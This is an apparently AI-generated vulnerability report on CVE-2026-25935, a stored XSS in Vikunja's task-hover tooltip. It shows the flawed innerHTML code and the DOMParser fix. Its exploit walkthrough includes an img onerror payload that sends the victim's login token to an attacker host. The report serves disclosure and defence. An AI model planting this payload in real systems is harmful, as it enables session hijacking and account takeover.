CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-25935

Vikunja XSS: When 'Just Looking' Gets You Pwned

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 11, 2026·5 min read·31 visits

Executive Summary (TL;DR)

Hovering over a task in Vikunja < 1.1.0 triggers a stored XSS via the 'glance' tooltip. The app tried to strip HTML tags using `innerHTML` on a detached div, effectively executing the payload it meant to sanitize.

A high-severity Cross-Site Scripting (XSS) vulnerability was discovered in Vikunja, the open-source todo application. The flaw resides in the task preview mechanism, where the application improperly utilized the DOM to strip HTML tags from task descriptions. By leveraging a detached DOM element and the `innerHTML` property, an attacker can execute arbitrary JavaScript simply by convincing a victim to hover over a malicious task.

The Hook: Your Todo List is Watching You

We all love being organized. Or, at least, we love the idea of being organized. Vikunja is a fantastic open-source tool for exactly that—managing tasks, lists, and projects. It's clean, modern, and self-hostable. But in the security world, 'modern' often means 'complex frontend logic', and complexity is where bugs like to hide.

One of Vikunja's quality-of-life features is the 'Task Glance'. You're scrolling through a massive list of chores, and instead of clicking into every single one to see the details, you just hover your mouse over a task. The app politely pops up a tooltip with a preview of the description. It’s convenient. It’s snappy. And until recently, it was a loaded gun pointed at your browser session.

The vulnerability we're dissecting today (CVE-2026-25935) turns that innocent hover action into a full-blown compromised session. No clicking required. Just look at the task, and it's game over.

The Flaw: The 'Detached DOM' Fallacy

The road to hell is paved with good intentions and bad HTML parsing. The developers needed to solve a common problem: The task description is stored as rich HTML (because users like bold text and lists), but the tooltip preview needs to be plain text. If you blindly dump HTML into a tooltip, it might break the layout or look messy. So, they needed a way to strip the tags.

The 'lazy' developer way to do this is a classic anti-pattern: Create a standard HTML element in memory (a div), shove the HTML string into it, and then ask the browser for the text content. It feels safe because you never append that div to the actual page body. It's 'detached'.

Here is the logic flaw: Browsers are eager beavers. As soon as you assign a string to innerHTML, the browser's parser spins up. It parses the tags. It constructs the DOM nodes. And, crucially, if it encounters self-executing vectors like <img src=x onerror=...>, it executes them. The browser doesn't care that the element isn't visible on the screen. It sees an image tag, tries to load the source, fails, and fires the error handler—all within the memory of that 'detached' variable.

The Code: Anatomy of a Screw-Up

Let's look at the smoking gun in TaskGlanceTooltip.vue. This is a textbook example of why you should never trust innerHTML with user input, even in the dark corners of memory.

The Vulnerable Code:

// TaskGlanceTooltip.vue (Pre-1.1.0)
const descriptionPreview = computed(() => {
    if (!props.task.description) return ''
 
    // 🚩 DANGER: Creating a generic div
    const tempDiv = document.createElement('div')
    
    // 🚩 DANGER: The browser executes this immediately!
    tempDiv.innerHTML = props.task.description 
    
    // They just wanted the text...
    return tempDiv.textContent || tempDiv.innerText || ''
})

By the time the code reaches tempDiv.textContent, the damage is already done. The payload inside props.task.description has already fired.

The Fix (Commit dd0b82f):

The fix is elegant and uses the correct tool for the job: DOMParser. This API allows you to parse HTML strings into a document that has no browsing context. Scripts are marked as 'already started' or simply don't run because there is no window associated with the parser.

// TaskGlanceTooltip.vue (Fixed in 1.1.0)
const descriptionPreview = computed(() => {
    if (!props.task.description) return ''
 
    // ✅ SAFE: DOMParser creates an inert document
    const doc = new DOMParser().parseFromString(props.task.description, 'text/html')
    return doc.body.textContent || ''
})

The Exploit: Weaponizing the Hover

Exploiting this requires very little finesse. Since Vikunja is a collaborative tool, the attack vector is social engineering via the workflow itself.

  1. The Setup: The attacker gains access to a shared project. This could be a legitimate team member going rogue or an external attacker who was invited to a 'Collaboration' list.

  2. The Payload: The attacker creates a new task. The title can be innocuous, like "Quarterly Reports". In the description field, they inject the payload:

    This task is vital.
    <img src=x onerror="fetch('https://attacker.com/steal?c='+localStorage.getItem('token'))">
  3. The Trap: The task sits in the list. It looks normal. The payload is hidden in the description.

  4. The Trigger: The victim logs in to check their work. They see "Quarterly Reports" and think, "What is this about?" They move their mouse cursor over the task title.

  5. The Execution: The TaskGlanceTooltip component mounts. The computed property descriptionPreview runs. innerHTML parses the image tag. The error handler fires. The victim's JWT token is sent to the attacker's server.

Because this is a Single Page Application (SPA), XSS is particularly devastating. The attacker can use the stolen token to impersonate the user, access private lists, delete data, or pivot to other projects.

The Fix: DOMParser to the Rescue

The mitigation here is straightforward: Upgrade to Vikunja 1.1.0. The developers swapped the dangerous innerHTML method for the safer DOMParser API.

For developers reading this, the lesson is clear: Never use innerHTML as a sanitizer. It is not a sanitizer; it is an execution context. If you need to strip tags, use DOMParser or a dedicated library like DOMPurify if you intend to actually render the HTML later.

If you are self-hosting Vikunja, pull the latest container image immediately. If you cannot upgrade, you should advise users strictly not to share projects with untrusted parties, though that defeats the purpose of a collaboration tool.

Official Patches

VikunjaCommit fixing the issue by implementing DOMParser

Fix Analysis (1)

Technical Appendix

CVSS Score
8.6/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Affected Systems

Vikunja Frontend < 1.1.0

Affected Versions Detail

Product
Affected Versions
Fixed Version
Vikunja
Vikunja
< 1.1.01.1.0
AttributeDetail
CWE IDCWE-80
CVSS 4.08.6 (High)
Attack VectorNetwork
User InteractionPassive (Hover)
Exploit StatusPoC Available
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1059.007Command and Scripting Interpreter: JavaScript
Execution
T1539Steal Web Session Cookie
Credential Access
CWE-80
Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)

Known Exploits & Detection

GitHub AdvisoryOfficial advisory containing the vulnerability description and fix

Vulnerability Timeline

Patch committed by maintainer
2026-02-09
GHSA Advisory Published
2026-02-11
CVE-2026-25935 Assigned
2026-02-11

References & Sources

  • [1]GHSA-m4g2-2q66-vc9v
  • [2]Vikunja v1.1.0 Release Notes

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 21 hours ago•CVE-2026-11748
6.9

CVE-2026-11748: Unauthenticated LDAP Injection in Central Dogma Server Authentication

An LDAP injection vulnerability exists in the centraldogma-server-auth-shiro module of LY Corporation Central Dogma before version 0.84.0. The search logic dynamically constructs LDAP search filters by interpolating user-provided usernames without escaping RFC 4515 metacharacters. Unauthenticated remote attackers can leverage this flaw to bypass authentication, enumerate directory hierarchies, and access unauthorized resources.

Alon Barad
Alon Barad
7 views•6 min read
•about 22 hours ago•CVE-2026-11746
9.4

CVE-2026-11746: Use of Hard-coded ZooKeeper Replication Secret 'ch4n63m3' in Central Dogma Server

CVE-2026-11746 is a critical vulnerability in Central Dogma Server prior to version 0.84.0, where an embedded ZooKeeper replication secret silently falls back to a publicly known, hard-coded default string ('ch4n63m3'). Remote attackers with access to the replication network can authenticate as legitimate cluster peers, potentially leading to unauthorized data exposure, state manipulation, or complete cluster takeover.

Amit Schendel
Amit Schendel
5 views•6 min read
•about 23 hours ago•CVE-2026-56665
4.2

CVE-2026-56665: Logical Validation Bypass in ZITADEL External JWT Identity Provider

A logical verification flaw in ZITADEL's external JWT Identity Provider validation allows attackers to bypass session expiration checks. If an incoming JWT lacks the 'exp' claim, the system skips validation entirely, creating an indefinitely valid session. This issue has been addressed in versions 3.4.12 and 4.15.2.

Alon Barad
Alon Barad
4 views•7 min read
•1 day ago•CVE-2026-59149
6.5

CVE-2026-59149: Sibling Directory Path Traversal in Mockoon Backend Server

CVE-2026-59149 identifies a directory traversal vulnerability in `@mockoon/commons-server`, the backend mock-server library powering the Mockoon application. The flaw occurs in the path containment validation logic used during raw file response generation. An unauthenticated attacker can exploit this weakness to retrieve arbitrary files from sibling directories sharing a common prefix with the designated static base directory.

Amit Schendel
Amit Schendel
7 views•5 min read
•1 day ago•CVE-2026-59148
8.8

CVE-2026-59148: Unauthenticated Administrative API and CORS Misconfiguration in Mockoon

An in-depth analysis of CVE-2026-59148, a high-severity flaw in Mockoon where unauthenticated administrative endpoints and a wildcard Cross-Origin Resource Sharing (CORS) policy allow remote execution, state poisoning, and credential theft.

Alon Barad
Alon Barad
7 views•6 min read
•1 day ago•CVE-2026-56666
4.8

CVE-2026-56666: Account Takeover via Improper Email Verification in ZITADEL Federated Identity Handler

An improper authentication vulnerability (CWE-287) in ZITADEL's external identity provider handler before version 4.15.3 allows remote attackers to perform complete account takeover. When auto-linking by email is enabled, ZITADEL verifies that the local target account has a verified email address but fails to verify if the external provider confirmed ownership of that same email. Attackers can exploit this by registering an unverified account with a victim's email address on a permissive external provider, leading to unauthorized account binding and persistent access.

Amit Schendel
Amit Schendel
4 views•7 min read